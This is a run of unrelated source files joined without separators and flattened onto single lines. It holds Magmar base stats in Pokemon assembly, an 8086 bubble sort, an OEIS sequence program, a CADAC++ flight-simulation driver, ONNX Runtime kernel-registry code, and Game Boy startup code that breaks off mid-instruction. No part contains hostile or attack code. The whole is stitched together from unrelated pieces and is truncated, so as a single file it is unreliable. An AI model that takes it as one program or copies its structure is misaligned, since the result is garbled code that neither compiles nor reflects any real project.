db 0 ; species ID placeholder db 65, 95, 57, 93, 100, 85 ; hp atk def spd sat sdf db FIRE, FIRE ; type db 45 ; catch rate db 167 ; base exp db BURNT_BERRY, BURNT_BERRY ; items db GENDER_F25 ; gender ratio db 100 ; unknown 1 db 25 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/magmar/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_MEDIUM_FAST ; growth rate dn EGG_HUMANSHAPE, EGG_HUMANSHAPE ; egg groups ; tm/hm learnset tmhm DYNAMICPUNCH, HEADBUTT, CURSE, TOXIC, ROCK_SMASH, HIDDEN_POWER, SUNNY_DAY, SNORE, HYPER_BEAM, PROTECT, ENDURE, FRUSTRATION, IRON_TAIL, RETURN, PSYCHIC_M, MUD_SLAP, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, FIRE_BLAST, THUNDERPUNCH, DETECT, REST, ATTRACT, THIEF, FIRE_PUNCH, STRENGTH, FLAMETHROWER ; end
org 100h call sort call copy call print ret sort proc lea si,array mov al,0 mov cx,lenght dec cx ;loop will return lenght-1 times mov bx,lenght dec bx outer_loop: push cx ;record mov cx,bx sub bx,1 inner_loop: mov al,[si] mov dl,[si+1] cmp al,dl jg swap jmp exit swap: xchg al,dl mov [si],al mov [si+1],dl exit: inc si loop inner_loop pop cx ;remove and use lea si,array loop outer_loop ret sort endp copy proc ;this method moves the array DI:[2000] lea si,array mov di,offset 2000h mov cx,lenght rep movsb ret copy endp print proc lea si,array mov cx,lenght mov ah, 0Eh display: lodsb ;load byte at ds:[si] into al. int 10h loop display ret print endp array db 'M','I','C','R','O','C','O','M','P','U','T','E','R','S' lenght dw 14
; A051746: a(n) = n(n+7)(n+1)(n^2+2n+12)/120. ; 2,9,27,66,141,273,490,828,1332,2057,3069,4446,6279,8673,11748,15640,20502,26505,33839,42714,53361,66033,81006,98580,119080,142857,170289,201782,237771,278721,325128,377520,436458,502537,576387,658674,750101,851409,963378,1086828,1222620,1371657,1534885,1713294,1907919,2119841,2350188,2600136,2870910,3163785,3480087,3821194,4188537,4583601,5007926,5463108,5950800,6472713,7030617,7626342,8261779,8938881,9659664,10426208,11240658,12105225,13022187,13993890,15022749,16111249,17261946,18477468,19760516,21113865,22540365,24042942,25624599,27288417,29037556,30875256,32804838,34829705,36953343,39179322,41511297,43953009,46508286,49181044,51975288,54895113,57944705,61128342,64450395,67915329,71527704,75292176,79213498,83296521,87546195,91967570,96565797,101346129,106313922,111474636,116833836,122397193,128170485,134159598,140370527,146809377,153482364,160395816,167556174,174969993,182643943,190584810,198799497,207295025,216078534,225157284,234538656,244230153,254239401,264574150,275242275,286251777,297610784,309327552,321410466,333868041,346708923,359941890,373575853,387619857,402083082,416974844,432304596,448081929,464316573,481018398,498197415,515863777,534027780,552699864,571890614,591610761,611871183,632682906,654057105,676005105,698538382,721668564,745407432,769766921,794759121,820396278,846690795,873655233,901302312,929644912,958696074,988469001,1018977059,1050233778,1082252853,1115048145,1148633682,1183023660,1218232444,1254274569,1291164741,1328917838,1367548911,1407073185,1447506060,1488863112,1531160094,1574412937,1618637751,1663850826,1710068633,1757307825,1805585238,1854917892,1905322992,1956817929,2009420281,2063147814,2118018483,2174050433,2231262000,2289671712,2349298290,2410160649,2472277899,2535669346,2600354493,2666353041,2733684890,2802370140,2872429092,2943882249,3016750317,3091054206,3166815031,3244054113,3322792980,3403053368,3484857222,3568226697,3653184159,3739752186,3827953569,3917811313,4009348638,4102588980,4197555992,4294273545,4392765729,4493056854,4595171451,4699134273,4804970296,4912704720,5022362970,5133970697,5247553779,5363138322,5480750661,5600417361,5722165218,5846021260,5972012748,6100167177,6230512277,6363076014,6497886591,6634972449,6774362268,6916084968,7060169710,7206645897,7355543175,7506891434,7660720809,7817061681,7975944678,8137400676,8301460800,8468156425 mov $14,$0 mov $16,$0 add $16,1 lpb $16 clr $0,14 mov $0,$14 sub $16,1 sub $0,$16 mov $11,$0 mov $13,$0 add $13,1 lpb $13 mov $0,$11 sub $13,1 sub $0,$13 add $0,3 bin $0,3 add $0,1 add $12,$0 lpe add $15,$12 lpe mov $1,$15
/////////////////////////////////////////////////////////////////////////////// //////////////////////// CADAC++ Simulation FALCON6 /////////////////////// /////////////////////////////////////////////////////////////////////////////// //FILE: execution.cpp // //Initializing and executing the simulation // //020923 Created by Peter H Zipfel //130423 Run stop for MS C++10 implemented, PZi //131025 Compatible with C++ V12 (2013), PZi /////////////////////////////////////////////////////////////////////////////// #include "class_hierarchy.hpp" /////////////////////////////////////////////////////////////////////////////// //////////////// Definition of global function prototypes used in main() ////// /////////////////////////////////////////////////////////////////////////////// //acquiring the simmulation title void acquire_title_options(fstream &input,char *title,char *options); //acquiring the simulation run time double acquire_endtime(fstream &input); //numbering the modules void number_modules(fstream &input,int &num); //acquiring the calling order of the modules void order_modules(fstream &input,int &num,Module *module_list); //acquiring the number of vehicle objects void number_objects(fstream &input,int &num_vehicles,int &num_plane); //creating a type of vehicle object Cadac *set_obj_type(fstream &input,Module *module_list,int num_modules); //running the simulation void execute(Vehicle &vehicle_list,Module *module_list,double sim_time, double end_time,int num_vehicles,int num_modules,double plot_step, double int_step,double scrn_step,double com_step,double traj_step,char *options, ofstream &ftabout,ofstream *plot_ostream_list,Packet *combus,int *status, int num_plane,ofstream &ftraj,char *title,bool traj_merge); //getting timimg cycles for plotting, screen output and integration void acquire_timing(fstream &input,double &plot_step,double &scn_step,double &com_step, double &traj_step,double &int_step); //merging the 'ploti.asc' files onto 'plot.asc' void merge_plot_files(string *plot_file_list,int num_plane,char *title); //writing 'combus' data on screen void comscrn_data(Packet *combus,int num_vehicles); //writing banner on 'traj.asc' file //void traj_banner(ofstream &ftraj,Packet *combus,char *title,int num_vehicles); void traj_banner(ofstream &ftraj,Packet *combus,char *title,int num_vehicles, int nplane); //writing 'traj.asc' file of 'combus' data void traj_data(ofstream &ftraj,Packet *combus,int num_vehicles,bool merge); //Documenting 'input.asc' with module-variable definitions void document_input(Document *doc_plane6); /////////////////////////////////////////////////////////////////////////////// // /////////////////////////////// main() ////////////////////////////////// /////////////////////////////////////////////////////////////////////////////// //Main function // //011128 Created from Cruise3 simulation by Peter H Zipfel /////////////////////////////////////////////////////////////////////////////// int main() { double sim_time=0; //simulation time, same as 'time' char title[CHARL]; //title from first line of 'input.asc' char options[CHARL]; //options from 'input.asc' for output Module *module_list=NULL; //list of modules and sequence as per 'input.asc' int num_modules; //number of modules double plot_step; //writing time step to 'plot.asc' and 'ploti.asc', i=1,2,3... double scrn_step; //writing time step to screen (console) double int_step; //integration step size (constant throughout simulation) double com_step; //writing time step of 'combus' data to screen double traj_step; //writing time step of 'combus' to file 'traj.asc' int num_vehicles; //total number of vehicle objects int num_plane; //number of plane objects Cadac *vehicle_type=NULL; //array of vehicle object pointers char vehicle_name[CHARN]; //name of each vehicle type double end_time; //run termination time from 'input.asc' string *plot_file_list=NULL; //array containing file names of 'ploti.asc', i=1,2,3... ofstream *plot_ostream_list=NULL; //array of output streams for 'ploti.asc', i=1,2,3... Packet *combus=NULL; //communication bus container storing data for each vehicle object //in same sequence as 'vehicle_list' int *status=NULL; //array containing status of each vehicle object bool one_traj_banner=true; //write just one banner on file 'traj.asc' Document *doc_plane6=NULL; //array for documenting PLANE6 module-variables of 'input.asc' bool document_plane6=false; //true if array doc_plane6 was created /////////////////////////////////////////////////////////////////////////// /////////////// Opening of files and creation of stream objects ////////// /////////////////////////////////////////////////////////////////////////// //creating an input stream object and opening 'input.asc' file fstream input("input.asc"); if(input.fail()) {cerr<<"*** Error: File stream 'input.asc' failed to open (check spelling) ***\n";system("pause");exit(1);} //creating an output stream object and opening 'tabout.asc' file ofstream ftabout("tabout.asc"); if(!ftabout){cout<<" *** Error: cannot open 'tabout.asc' file *** \n";system("pause");exit(1);} //creating an output stream object and opening 'doc.asc' file ofstream fdoc("doc.asc"); if(!fdoc){cout<<" *** Error: cannot open 'doc.asc' file *** \n";system("pause");exit(1);} //creating an output stream object and opening 'traj.asc' file ofstream ftraj("traj.asc"); if(!ftraj){cout<<" *** Error: cannot open 'traj.asc' file *** \n";system("pause");exit(1);} //creating file 'input_copy.asc' in local directory for use in 'document_input()' ofstream fcopy("input_copy.asc"); if(!fcopy){cout<<" *** Error: cannot open 'input_copy.asc' file *** \n";system("pause");exit(1);} //initializing flags bool one_screen_banner=true; //write just one banner on screen bool document_plane=true; //write to 'doc.asc' plane module-variables only once bool traj_merge=false; //flag used in writing 'time=-1' endblock on 'traj.asc' //aqcuiring title statement and option selections acquire_title_options(input,title,options); //acquiring number of module number_modules(input,num_modules); //dynamic memory allocation of array 'module_list' module_list=new Module[num_modules]; if(module_list==0){cerr<<"*** Error: module_list[] allocation failed *** \n";system("pause");exit(1);} //acquiring calling order of module order_modules(input,num_modules,module_list); //acquiring the time stepping acquire_timing(input,plot_step,scrn_step,int_step,com_step,traj_step); //acquiring number of vehicle objects from 'input.asc' number_objects(input,num_vehicles,num_plane); //creating the 'vehicle_list' object // at this point the constructor 'Vehicle' is called and memory is allocated Vehicle vehicle_list(num_vehicles); //allocating memory for 'ploti.asc' file streams, but do it only once plot_ostream_list=new ofstream[num_vehicles]; if(plot_ostream_list==0){cerr<<"*** Error: plot_ostream_list[] alloc. failed *** \n";system("pause");exit(1);} //allocating memory for 'ploti.asc' files, but do it only once plot_file_list=new string[num_vehicles]; if(plot_file_list==0){cerr<<"*** Error: plot_file_list[] alloc. failed *** \n";system("pause");exit(1);} //allocating memory for 'combus' combus=new Packet[num_vehicles]; if(combus==0){cerr<<"*** Error: combus[] allocation failed *** \n";system("pause");exit(1);} //allocating memory for 'status' status=new int[num_vehicles]; if(status==0){cerr<<"*** Error: status[] allocation failed *** \n";system("pause");exit(1);} //initialize 'status' to 'alive=1' for(int ii=0;ii<num_vehicles;ii++) status[ii]=1; /////////////////////////////////////////////////////////////////////////// ////////////////// Initializing of each vehicle object /////////////////// /////////////////////////////////////////////////////////////////////////// for(int i=0;i<num_vehicles;i++) { //Loading pointers of the vehicle-object classes ('Plane') into // the i-th location of 'vehicle_list'. Vehicle type is read in from 'input.asc' file. //The loading process allocates dynamic memory at the pointer location // as required by the vehicle object //The function returns the 'vehicle_type' as specified in 'input.asc' //Furthermore, it passes 'module_list', 'num_modules' // to the 'Plane' constructor vehicle_type=set_obj_type(input,module_list,num_modules); //add vehicle to 'vehicle_list' vehicle_list.add_vehicle(*vehicle_type); //getting the name of the type of vehicle strcpy(vehicle_name,vehicle_list[i]->get_vname()); //vehicle data and tables read from 'input.asc' vehicle_list[i]->vehicle_data(input); //executing initialization computations -MOD for (int j=0;j<num_modules;j++) { if((module_list[j].name=="aerodynamics")&&(module_list[j].initialization=="init")) vehicle_list[i]->init_aerodynamics(); else if((module_list[j].name=="newton")&&(module_list[j].initialization=="init")) vehicle_list[i]->init_newton(); else if((module_list[j].name=="euler")&&(module_list[j].initialization=="init")) vehicle_list[i]->init_euler(); else if((module_list[j].name=="kinematics")&&(module_list[j].initialization=="init")) vehicle_list[i]->init_kinematics(); } //writing banner to screen and file 'tabout.asc' if(!strcmp(vehicle_name,"PLANE6")&&one_screen_banner) { one_screen_banner=false; if(strstr(options,"y_scrn")) { vehicle_list[i]->scrn_banner(); } if(strstr(options,"y_tabout")) { vehicle_list[i]->tabout_banner(ftabout,title); } } //writing one block of data to screen after module initialization if(strstr(options,"y_scrn")) { vehicle_list[i]->scrn_data(); } if(strstr(options,"y_tabout")) { vehicle_list[i]->tabout_data(ftabout); } //creating output stream objects in 'plot_ostream_list[i]' for every file "ploti.asc" //currently only the PLANE6 plot files contain any data if(strstr(options,"y_plot")) { if(!strcmp(vehicle_name,"PLANE6")) { char index[CHARN]; // string plotiasc; //plot file name const char *name; //building names for plot files sprintf(index,"%i",i+1); plotiasc="plot"+string(index)+".asc"; //using Standard Library string constructor plot_file_list[i]=plotiasc; name=plotiasc.c_str(); //using string member function to convert to char array //creating output stream list 'plot_ostream_list[i]', each will write on file 'ploti.asc' plot_ostream_list[i].open(name); //'name' must be 'char' type //writing banner on 'ploti.asc' vehicle_list[i]->plot_banner(plot_ostream_list[i],title); } } //composing documentation of 'flat6'and 'plane' but do it only once for PLANE6 if(strstr(options,"y_doc")) { if(!strcmp(vehicle_name,"PLANE6")&&document_plane) { document_plane=false; int size=NFLAT6+NPLANE; doc_plane6=new Document[size]; if(doc_plane6==0){cerr<<"*** Error: doc_plane6[] allocation failed *** \n";system("pause");exit(1);} vehicle_list[i]->document(fdoc,title,doc_plane6); document_plane6=true; } } //end of initializing plot files and documentation //loading packets into 'combus' communication bus combus[i]=vehicle_list[i]->loading_packet_init(num_plane); } //end of initialization of vehicle object loop //writing 'combus' data to screen at time=0, after module initialization if(strstr(options,"y_comscrn")) { comscrn_data(combus,num_vehicles); } //writing banner for 'traj.asc' output file if(strstr(options,"y_traj")&&one_traj_banner) { one_traj_banner=false; traj_banner(ftraj,combus,title,num_vehicles,num_plane); //writing data after 'initial module' calculations traj_data(ftraj,combus,num_vehicles,traj_merge); } //Aquire ending time (last entry on 'input.asc') end_time=acquire_endtime(input); if(strstr(options,"y_doc")){ //documenting input.asc (only once) document_input(doc_plane6); if(document_plane6)delete [] doc_plane6; } /////////////////////////////////////////////////////////////////////////////// /////////////////////// Simulation Execution ////////////////////////////////// /////////////////////////////////////////////////////////////////////////////// execute(vehicle_list,module_list,sim_time, end_time,num_vehicles,num_modules,plot_step, int_step,scrn_step,com_step,traj_step,options,ftabout, plot_ostream_list,combus,status,num_plane,ftraj,title, traj_merge); //Deallocate dynamic memory delete [] module_list; delete [] combus; delete [] status; /////////////////////////////////////////////////////////////////////////////// //////////////////////////// Post-Processing ////////////////////////////////// /////////////////////////////////////////////////////////////////////////////// //Close input file streams input.close(); fcopy.close(); //Close file streams ftabout.close(); for(int f=0;f<num_vehicles;f++) plot_ostream_list[f].close(); fdoc.close(); //merging 'ploti.asc' files into 'plot.asc' if(strstr(options,"y_merge")&&strstr(options,"y_plot")) { merge_plot_files(plot_file_list,num_plane,title); } //Deallocate dynamic memory delete [] plot_ostream_list; delete [] plot_file_list; system("pause"); return 0; } /////////////////////////////////////////////////////////////////////////////// ////////////////////////// End of main //////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////// //Executing the simulation // //Parameters: &vehicle_list = vehicle array - list of vehicle objects // and their respective type - plane // estabished by global function 'set_obj_type' // *module_list = module array - list of modules and their calling sequence // established by global function 'order_modules' // sim_time = simulation time; called 'time' in output // end_time = time to stop the simulation - read from 'input.asc' // by global function 'acquire_end' // num_vehicles = total number of vehicles - read from 'input.asc' (VEHICLES #) // by global function 'number_vehicles' // num_modules = total number of modules - read from 'input.asc' // by global function 'number_modules' // plot_step = output writing interval to file 'traj.asc' - sec // read from 'input.asc' by global function 'acquire_timing' // int_step = integration step // read from 'input.asc' by global function 'acquire_timing' // scrn_step = output writing interval to console - sec // read from 'input.asc' by global function 'acquire_timing' // scrn_step = output interval to console // com_step = output interval to communication bus 'combus' // traj_step = output interval to 'traj.asc' // *options = output option list // &ftabout = output file-stream to 'tabout.asc' // *plot_ostream_list = output file-steam list of 'ploti.asc' for each individual plane // plane object // *combus = commumication bus // *status = health of vehicles // num_plane = number of 'Plane' objects // &ftraj = output file-stream to 'traj.asc' // *title = idenfication of run // traj_merge = flag for merging MC runs in 'traj.asc' // //011128 Created from Cruise3 simulation by Peter H Zipfel /////////////////////////////////////////////////////////////////////////////// void execute(Vehicle &vehicle_list,Module *module_list,double sim_time, double end_time,int num_vehicles,int num_modules,double plot_step, double int_step,double scrn_step,double com_step,double traj_step,char *options, ofstream &ftabout,ofstream *plot_ostream_list,Packet *combus,int *status, int num_plane,ofstream &ftraj,char *title,bool traj_merge) { double scrn_time=0; double plot_time=0; double traj_time=0; double com_time=0; int vehicle_slot=0; bool increment_scrn_time=false; bool increment_plot_time=false; bool plot_merge=false; //integration loop while (sim_time<=(end_time+int_step)) { //vehicle loop for (int i=0;i<num_vehicles;i++) { //slot occupied by current vehicle in 'vehicle_list[]' vehicle_slot=i; //watching for the next event vehicle_list[i]->event(options); { //module loop -MOD for(int j=0;j<num_modules;j++) { if(module_list[j].name=="environment") vehicle_list[i]->environment(int_step); else if(module_list[j].name=="kinematics") vehicle_list[i]->kinematics(int_step); else if(module_list[j].name=="newton") vehicle_list[i]->newton(sim_time,int_step); else if(module_list[j].name=="euler") vehicle_list[i]->euler(int_step); else if(module_list[j].name=="aerodynamics") vehicle_list[i]->aerodynamics(); else if(module_list[j].name=="propulsion") vehicle_list[i]->propulsion(int_step); else if(module_list[j].name=="forces") vehicle_list[i]->forces(); else if(module_list[j].name=="actuator") vehicle_list[i]->actuator(int_step); else if(module_list[j].name=="control") vehicle_list[i]->control(int_step); else if(module_list[j].name=="guidance") vehicle_list[i]->guidance(); } //end of module loop //loading data packet into 'combus' communication bus combus[i]=vehicle_list[i]->loading_packet(num_plane); //refreshing 'health' status of vehicle objects combus[i].set_status(status[i]); } //end of active vehicle loop //output to screen and/or 'tabout.asc' if(fabs(scrn_time-sim_time)<(int_step/2+EPS)) { if(strstr(options,"y_scrn")) { vehicle_list[i]->scrn_data(); if(i==(num_vehicles-1))increment_scrn_time=true; } if(strstr(options,"y_tabout")) { vehicle_list[i]->tabout_data(ftabout); } if(increment_scrn_time) scrn_time+=scrn_step; } //output to 'ploti.asc' file if(fabs(plot_time-sim_time)<(int_step/2+EPS)) { if(strstr(options,"y_plot")) { vehicle_list[i]->plot_data(plot_ostream_list[i],plot_merge); if(i==(num_vehicles-1))increment_plot_time=true; } if(increment_plot_time) plot_time+=plot_step; } } //end of vehicle loop //outputting 'combus' to screen if(fabs(com_time-sim_time)<(int_step/2+EPS)) { if(strstr(options,"y_comscrn")) { comscrn_data(combus,num_vehicles); } com_time+=com_step; } //outputting'combus' to 'traj.asc' file if(fabs(traj_time-sim_time)<(int_step/2+EPS)) { if(strstr(options,"y_traj")) { traj_data(ftraj,combus,num_vehicles,traj_merge); } traj_time+=traj_step; } //resetting output events increment_scrn_time=false; increment_plot_time=false; //advancing time sim_time+=int_step; } //end of integration loop //writing last integration out to 'ploti.asc' //with time set to '-1' for multiple CADAC-Studio plots if(strstr(options,"y_plot")) { plot_merge=true; for (int i=0;i<num_vehicles;i++) vehicle_list[i]->plot_data(plot_ostream_list[i],plot_merge); } //writing last integration out to 'traj.asc' //with time set to '-1' for multiple CADAC-Studio plots if(strstr(options,"y_traj")) { traj_merge=true; traj_data(ftraj,combus,num_vehicles,traj_merge); } }
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. #include <memory> #include <unordered_map> #include "core/framework/kernel_registry.h" #include "core/framework/session_state.h" using namespace ::onnxruntime::common; namespace onnxruntime { namespace { // Traverses the node's formal parameters and calls TraverseFn with the formal // parameter and its associated TypeProto. // node - the node to traverse // param_filter_fn - called to determine whether to consider a given formal parameter: // bool ParamFilterFn(const ONNX_NAMESPACE::OpSchema::FormalParameter& param) // param - the formal parameter // returns true if the formal parameter should be considered, false otherwise // traverse_fn - called to process the formal parameter and its associated TypeProto: // bool TraverseFn(const ONNX_NAMESPACE::OpSchema::FormalParameter& param, // const ONNX_NAMESPACE::TypeProto* type) // param - the formal paremeter // type - the associated TypeProto // returns true if traversal should continue, false otherwise template <typename ParamFilterFn, typename TraverseFn> void TraverseFormalParametersWithTypeProto(const Node& node, ParamFilterFn param_filter_fn, TraverseFn traverse_fn) { const ONNX_NAMESPACE::OpSchema& op_schema = *node.Op(); // process inputs: const size_t len = node.InputArgCount().size(); ORT_ENFORCE(len <= op_schema.inputs().size()); int actual_index = 0; for (size_t formal_index = 0; formal_index != len; ++formal_index) { const auto& param = op_schema.inputs()[formal_index]; if (param_filter_fn(param)) { // get type of any corresponding actual parameter, if present for (int i = 0, end = node.InputArgCount()[formal_index]; i < end; ++i) { const NodeArg* arg = node.InputDefs()[actual_index + i]; if (!arg->Exists()) continue; // a missing optional argument if (!traverse_fn(param, arg->TypeAsProto())) return; } } actual_index += node.InputArgCount()[formal_index]; } // process outputs: auto actual_outputs = node.OutputDefs(); const auto num_actual_outputs = actual_outputs.size(); const auto last_formal = op_schema.outputs().size() - 1; for (size_t i = 0; i != num_actual_outputs; ++i) { const auto& formal = op_schema.outputs()[std::min(i, last_formal)]; if (!param_filter_fn(formal)) continue; const NodeArg* arg = actual_outputs[i]; if (!arg->Exists()) continue; if (!traverse_fn(formal, arg->TypeAsProto())) return; } } class TypeBindingResolver { public: TypeBindingResolver(const Node& node, bool use_lookup_map) : node_(node), type_binding_map_() { if (use_lookup_map) { type_binding_map_ = onnxruntime::make_unique<TypeBindingMap>(); TraverseFormalParametersWithTypeProto( node_, [](const ONNX_NAMESPACE::OpSchema::FormalParameter&) -> bool { return true; }, [this](const ONNX_NAMESPACE::OpSchema::FormalParameter& param, const ONNX_NAMESPACE::TypeProto* type) -> bool { type_binding_map_->emplace(param.GetName(), type); type_binding_map_->emplace(param.GetTypeStr(), type); return true; }); } } // Resolves a name to a TypeProto* for a given node. // The name can represent either a type parameter or an input/output parameter. // Returns the resolved TypeProto* or nullptr if unable to resolve. const ONNX_NAMESPACE::TypeProto* Resolve(const std::string& name_or_type_str) const { // lookup if available if (type_binding_map_) { auto found_it = type_binding_map_->find(name_or_type_str); if (found_it == type_binding_map_->end()) return nullptr; return found_it->second; } // fall back to node parameter traversal const ONNX_NAMESPACE::TypeProto* result{}; TraverseFormalParametersWithTypeProto( node_, [&name_or_type_str](const ONNX_NAMESPACE::OpSchema::FormalParameter& param) -> bool { return param.GetName() == name_or_type_str || param.GetTypeStr() == name_or_type_str; }, [&result](const ONNX_NAMESPACE::OpSchema::FormalParameter&, const ONNX_NAMESPACE::TypeProto* type) -> bool { result = type; return false; }); return result; } private: // map from input/output name or type string to TypeProto pointer using TypeBindingMap = std::unordered_map<std::string, const ONNX_NAMESPACE::TypeProto*>; const Node& node_; std::unique_ptr<TypeBindingMap> type_binding_map_; }; }; // namespace bool KernelRegistry::VerifyKernelDef(const onnxruntime::Node& node, const KernelDef& kernel_def, std::string& error_str) { // check if version matches int kernel_start_version; int kernel_end_version; kernel_def.SinceVersion(&kernel_start_version, &kernel_end_version); int node_since_version = node.Op()->since_version(); // Ideal case is, if schema is Since(5), current opset version is opset 7, // kernel_def Since(8) Invalid // kernel_def Since(6) Valid // kernel_def Since(5) Valid // kernel_def Since(4) Invalid // kernel_def Since(4, 6) Valid // Right now there is no "until version" on schema, it is difficult to get opset version here.(require a lot of interface change.) // As a trade off, we will temporary require kernel definition to have the same since version as schema definition. // so kernel_def Since(6) will become invalid now. // After ONNX add "until version" on the schema object, we will update this place bool valid_version = kernel_start_version == node_since_version // the idea case this branch should be kernel_start_version >= node_version && kernel_start_version <= until_version || (kernel_start_version < node_since_version && kernel_end_version != INT_MAX && kernel_end_version >= node_since_version); if (!valid_version) { std::ostringstream ostr; ostr << "Op with name (" << node.Name() << ")" << " and type (" << node.OpType() << ")" << " Version mismatch." << " node_version: " << node_since_version << " kernel start version: " << kernel_start_version << " kernel_end_version: " << kernel_end_version; error_str = ostr.str(); return false; } // check if type matches auto& kernel_type_constraints = kernel_def.TypeConstraints(); // Note: The number of formal input/output parameters is N and the number of // type constraints is M. We select between an O(N*M) and an O(N+M) approach. // The O(N*M) approach has lower initial overhead. // kTypeBindingResolverComplexityThreshold is the value of N*M above which we // will use the O(N+M) approach. constexpr int kTypeBindingResolverComplexityThreshold = 50 * 50; const bool use_lookup_map = (kernel_type_constraints.size() * (node.Op()->inputs().size() + node.Op()->outputs().size()) > kTypeBindingResolverComplexityThreshold); TypeBindingResolver type_binding_resolver{node, use_lookup_map}; for (auto& constraint : kernel_type_constraints) { const std::string& name = constraint.first; const std::vector<MLDataType>& allowed_types = constraint.second; const ONNX_NAMESPACE::TypeProto* actual_type = type_binding_resolver.Resolve(name); // If actual_type is null, this represents a type-constraint on a // missing optional parameter, which can be skipped. // TODO: We should check that names specified in kernel_type_constraints are // valid names (of types or parameters) at the time that kernels are registered. if (nullptr != actual_type) { bool is_type_compatible = std::any_of(allowed_types.begin(), allowed_types.end(), [actual_type](const DataTypeImpl* expected_type) { bool rc = expected_type->IsCompatible(*actual_type); // for easier debugging return rc; }); if (!is_type_compatible) { std::ostringstream ostr; ostr << "Found kernel for Op with name (" << node.Name() << ")" << " and type (" << node.OpType() << ")" << " in the supported version range" << " (node_version: " << node_since_version << " kernel start version: " << kernel_start_version << " kernel_end_version: " << kernel_end_version << ")." << " However the types are incompatible." << " This op has been implemented only for the following types ("; for (const auto& allowed_type : allowed_types) { ostr << DataTypeImpl::ToString(allowed_type) << ","; } ostr << "),"; const char* actual_type_str = DataTypeImpl::ToString(DataTypeImpl::TypeFromProto(*actual_type)); ostr << " but the node in the model has the following type (" << actual_type_str << ")"; error_str = ostr.str(); return false; } } } return true; } Status KernelRegistry::Register(KernelDefBuilder& kernel_builder, const KernelCreateFn& kernel_creator) { return Register(KernelCreateInfo(kernel_builder.Build(), kernel_creator)); } Status KernelRegistry::Register(KernelCreateInfo&& create_info) { if (!create_info.kernel_def) { return Status(ONNXRUNTIME, FAIL, "kernel def can't be NULL"); } std::string key = GetMapKey(*create_info.kernel_def); // Check op version conflicts. auto range = kernel_creator_fn_map_.equal_range(key); for (auto i = range.first; i != range.second; ++i) { if (i->second.kernel_def && i->second.kernel_def->IsConflict(*create_info.kernel_def)) { return Status(ONNXRUNTIME, FAIL, "Failed to add kernel for " + key + ": Conflicting with a registered kernel with op versions."); } } // Register the kernel. // Ownership of the KernelDef is transferred to the map. kernel_creator_fn_map_.emplace(key, std::move(create_info)); return Status::OK(); } Status KernelRegistry::TryCreateKernel(const onnxruntime::Node& node, const IExecutionProvider& execution_provider, const std::unordered_map<int, OrtValue>& constant_initialized_tensors, const OrtValueNameIdxMap& ort_value_name_idx_map, const FuncManager& funcs_mgr, const DataTransferManager& data_transfer_mgr, /*out*/ std::unique_ptr<OpKernel>& op_kernel) const { const KernelCreateInfo* kernel_create_info; ORT_RETURN_IF_ERROR(TryFindKernel(node, execution_provider.Type(), &kernel_create_info)); OpKernelInfo kernel_info(node, *kernel_create_info->kernel_def, execution_provider, constant_initialized_tensors, ort_value_name_idx_map, funcs_mgr, data_transfer_mgr); op_kernel.reset(kernel_create_info->kernel_create_func(kernel_info)); return Status::OK(); } static std::string ToString(const std::vector<std::string>& error_strs) { std::ostringstream ostr; std::for_each(std::begin(error_strs), std::end(error_strs), [&ostr](const std::string& str) { ostr << str << "\n"; }); return ostr.str(); } // It's often this function returns a failed status, but it is totally expected. // It just means this registry doesn't have such a kernel, please search it elsewhere. // if this function is called before graph partition, then node.provider is not set. // In this case, the kernel's provider must equal to exec_provider // otherwise, kernel_def.provider must equal to node.provider. exec_provider is ignored. Status KernelRegistry::TryFindKernel(const onnxruntime::Node& node, onnxruntime::ProviderType exec_provider, const KernelCreateInfo** out) const { const auto& node_provider = node.GetExecutionProviderType(); const auto& expected_provider = (node_provider.empty() ? exec_provider : node_provider); auto range = kernel_creator_fn_map_.equal_range(GetMapKey(node.OpType(), node.Domain(), expected_provider)); std::vector<std::string> verify_kernel_def_error_strs; for (auto i = range.first; i != range.second; ++i) { std::string error_str; if (VerifyKernelDef(node, *i->second.kernel_def, error_str)) { *out = &i->second; return Status::OK(); } verify_kernel_def_error_strs.push_back(error_str); } *out = nullptr; if (!verify_kernel_def_error_strs.empty()) { std::ostringstream oss; oss << "Op with name (" << node.Name() << ")" << " and type (" << node.OpType() << ")" << " kernel is not supported in " << expected_provider << "." << " Encountered following errors: (" << ToString(verify_kernel_def_error_strs) << ")"; return Status(ONNXRUNTIME, FAIL, oss.str()); } return Status(ONNXRUNTIME, FAIL, "Kernel not found"); } } // namespace onnxruntime
INCLUDE "defines.asm" SECTION "Header", ROM0[$100] ; This is your ROM's entry point ; You have 4 bytes of code to do... something sub $11 ; This helps check if we're on CGB more efficiently jr EntryPoint ; Make sure to allocate some space for the header, so no important ; code gets put there and later overwritten by RGBFIX. ; RGBFIX is designed to operate over a zero-filled header, so make ; sure to put zeros regardless of the padding value. (This feature ; was introduced in RGBDS 0.4.0, but the -MG etc flags were also ; introduced in that version.) ds $150 - @, 0 EntryPoint: ldh [hConsoleType], a Reset:: di ; Disable interrupts while we set up ; Kill sound xor a ldh [rNR52], a ; Wait for VBlank and turn LCD off .waitVBlank ldh a, [rLY] cp SCRN_Y jr c, .waitVBlank xor a ldh [rLCDC], a ; Goal now: set up the minimum required to turn the LCD on again ; A big chunk of it is to make sure the VBlank handler doesn't crash ld sp, wStackBottom ld a, BANK(OAMDMA) ; No need to write bank number to HRAM, interrupts aren't active ld [rROMB0], a ld hl, OAMDMA lb bc, OAMDMA.end - OAMDMA, LOW(hOAMDMA) .copyOAMDMA ld a, [hli] ldh [c], a inc c dec b jr nz, .copyOAMDMA ; Set Palettes ld a, %11100100 ldh [rBGP], a ldh [rOBP0], a ldh [rOBP1], a ; You will also need to reset your handlers' variables below ; I recommend reading through, understanding, and customizing this file ; in its entirety anyways. This whole file is the "global" game init, ; so it's strongly tied to your own game. ; I don't recommend clearing large amounts of RAM, nor to init things ; here that can be initialized later. ; Reset variables necessary for the VBlank handler to function correctly ; But only those for now xor a ldh [hVBlankFlag], a ldh [hOAMHigh], a ldh [hCanSoftReset], a dec a ; ld a, $FF ldh [hHeldKeys], a ; Load the correct ROM bank for later ; Important to do it before enabling interrupts ld a, BANK(Intro) ldh [hCurROMBank], a ld [rROMB0], a ; Select wanted interrupts here ; You can also enable them later if you want ld a, IEF_VBLANK ldh [rIE], a xor a ei ; Only takes effect after the following instruction ldh [rIF], a ; Clears "accumulated" interrupts ; Init shadow regs ; xor a ldh [hSCY], a ldh 